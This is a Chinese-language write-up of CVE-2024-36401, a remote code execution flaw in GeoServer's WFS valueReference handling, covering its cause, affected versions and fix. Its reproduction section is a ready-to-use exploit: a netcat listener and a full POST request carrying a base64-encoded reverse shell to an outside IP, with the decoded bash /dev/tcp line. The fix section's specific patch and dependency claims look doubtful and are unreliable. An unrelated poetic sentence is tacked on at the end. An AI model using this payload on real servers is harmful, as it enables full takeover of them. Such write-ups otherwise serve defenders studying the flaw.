一、概述
CVE-2024-36401 是 GeoServer 中存在的高危远程代码执行(RCE)漏洞,由 GeoTools 库 在处理 WFS(Web Feature Service)请求时对 valueReference
参数未正确过滤引发。攻击者可通过构造恶意 XPath 表达式,利用 java.lang.Runtime.getRuntime()
执行任意系统命令,进而完全控制目标服务器
- 影响版本:
- GeoServer < 2.23.6
- 2.24.0 ≤ GeoServer < 2.24.4
- 2.25.0 ≤ GeoServer < 2.25.2
- 漏洞根源:GeoTools 库将属性名称传递给 Apache Commons JXPath 库时未安全处理,导致 XPath 表达式注入
二、分析
(1)技术原理
- 触发路径:通过 WFS 请求的
valueReference
参数注入恶意代码。 - 依赖组件:
commons-jxpath
库(存在 CVE-2022-41852 漏洞)的不安全解析
(2)攻击特征 - 请求方式:支持 GET 和 POST 请求,常见于
/geoserver/wfs
接口 - 利用条件:
typeNames
必须为有效图层名称(如sf:archsites
),可从 GeoServer 管理界面获取
三、复现
(1)、攻击机监听
nc -lvvp 8889
(2)、发送数据包
POST /geoserver/wfs HTTP/1.1
Host: <target>:8080
Content-Type: application/xml
Content-Length: 342
<wfs:GetPropertyValue service="WFS" version="2.0.0" xmlns:wfs="http://www.opengis.net/wfs/2.0">
<wfs:Query typeNames="sf:archsites"/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMy44MC4xNS84ODg5IDA+JjE=}|{base64,-d}|{bash,-i}")</wfs:valueReference>
</wfs:GetPropertyValue>
bash -i >& /dev/tcp/47.13.80.15/8889 0>&1

四、修复
1. 修复版本
GeoServer 官方通过升级 GeoTools 库 修复漏洞,安全版本如下:
- GeoServer 2.23.6(稳定分支)
- GeoServer 2.24.4(稳定分支)
- GeoServer 2.25.2(开发分支)
2. 修复原理
根本原因:
漏洞源于 GeoTools 库(gt-complex
模块)在处理 WFS 请求时,直接将用户控制的 valueReference
参数传递给 commons-jxpath
库解析,导致 XPath 表达式注入。
修复方式:
- 安全过滤:
- 在
org.geotools.filter.text.cql2.CQL.toExpression()
方法中,新增对valueReference
的输入验证,禁止包含java.lang
等危险关键字。 - 使用
JXPathUtils.newSafeContext()
替代原始解析方法,限制 XPath 表达式的反射能力。
- 在
- 依赖升级:
- 升级
commons-jxpath
到 1.3+ 版本(修复 CVE-2022-41852),默认禁用反射调用。
- 升级
- 补丁提交:
- 修复代码已合并至 GeoTools 主分支(GitHub Commit)。
3. 总结
官方通过 输入验证 + 依赖库升级 双重修复漏洞,建议用户立即升级至安全版本。若无法升级,可通过删除依赖文件或配置 WAF 临时防护。
梦里小镇落雨,开花,起风,挂霜,甚至扬起烤红薯的香气,每个墙角都能听见人们的说笑声。